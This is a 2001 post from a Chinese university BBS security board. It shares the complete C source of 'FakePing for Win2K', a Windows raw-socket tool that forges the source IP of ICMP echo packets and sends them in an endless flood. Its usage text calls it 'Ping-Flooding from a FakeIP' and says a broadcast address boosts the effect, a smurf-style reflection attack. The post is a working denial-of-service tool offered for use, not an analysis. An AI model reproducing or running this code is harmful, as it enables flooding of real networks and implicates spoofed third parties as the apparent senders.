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发信人: michaelx (我有事不在), 信区: Security
标 题: Fakeping for win2k的源代码！
发信站: 荔园晨风BBS站 (Sun May 27 21:53:49 2001), 转信
//////////////////////////////////////////////////////////////////////////
// //
// FakePing For Win2K by Shotgun //
// //
// Released: [2001.4] //
// Author: [Shotgun] //
// Homepage: //
// [http://IT.Xici.Net] //
// [http://WWW.Patching.Net] //
// //
//////////////////////////////////////////////////////////////////////////
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
//
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号（一般用进程号作为识别号）
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//FakePing主函数
int main(int argc, char **argv)
{
int datasize,ErrorCode,counter,flag;
int TimeOut=2000, SendSEQ=0, PacketSize=32;
char SendBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp[20],DestIp[20];
//接受命令行参数
if (argc<3)
{
printf("FakePing by Shotgun\n");
printf("\tThis program can do Ping-Flooding from a FakeIP\n");
printf("\tUsing a BroadCast IP as the FakeIP will enhance the effect\n");
printf("Email:\n");
printf("\tShotgun@Xici.Net\n");
printf("HomePage:\n");
printf("\thttp://It.Xici.Net\n");
printf("\thttp://www.Patching.Net\n");
printf("USAGE:\n\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\n");
printf("Example:\n");
printf("\tFakePing.exe 192.168.15.23 192.168.15.255\n");
printf("\tFakePing.exe 192.168.15.23 192.168.15.200 6400\n");
exit(0);
}
strcpy(FakeSourceIp,argv[1]);
strcpy(DestIp,argv[2]);
if (argc>3) PacketSize=atoi(argv[3]);
if (PacketSize>60000)
{
printf("Error! Packet size too big, must <60K\n");
exit(0);
}
printf("Now Fake %s Ping %s using Packet size=%d bytes\n",
FakeSourceIp, DestIp, PacketSize);
printf("\tCtrl+C to Quit\n");
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPE
D))==INVALID_SOCKET)
{
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)
);
if(ErrorCode==SOCKET_ERROR)
printf("Set IP_HDRINCL Error!\n");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(T
imeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位
IP版本号，低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长
度（字节）
ip_header.ident=1;
//16位标识
ip_header.frag_and_flags=0;
//3位标志位
ip_header.ttl=128;
//8位生存时间 TTL
ip_header.proto=IPPROTO_ICMP;
//8位协议 (TCP, UDP 或其他)
ip_header.checksum=0;
//16位IP首部校验和
ip_header.sourceIP=inet_addr(FakeSourceIp); //32
位源IP地址
ip_header.destIP=inet_addr(DestIp);
//32位目的IP地址
//填充ICMP首部
icmp_header.i_type = 8;
icmp_header.i_code = 0;
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = 999;
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(icmp_header), 'E', PacketSize);
icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+Packet
Size);
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize);
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);
//计算发送缓冲区的大小
datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header, sizeof(ip_header));
while(1)
{
Sleep(100);
printf(".");
for(counter=0;counter<1024;counter++)
{
//发送ICMP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,size
of(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}
}
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.10]
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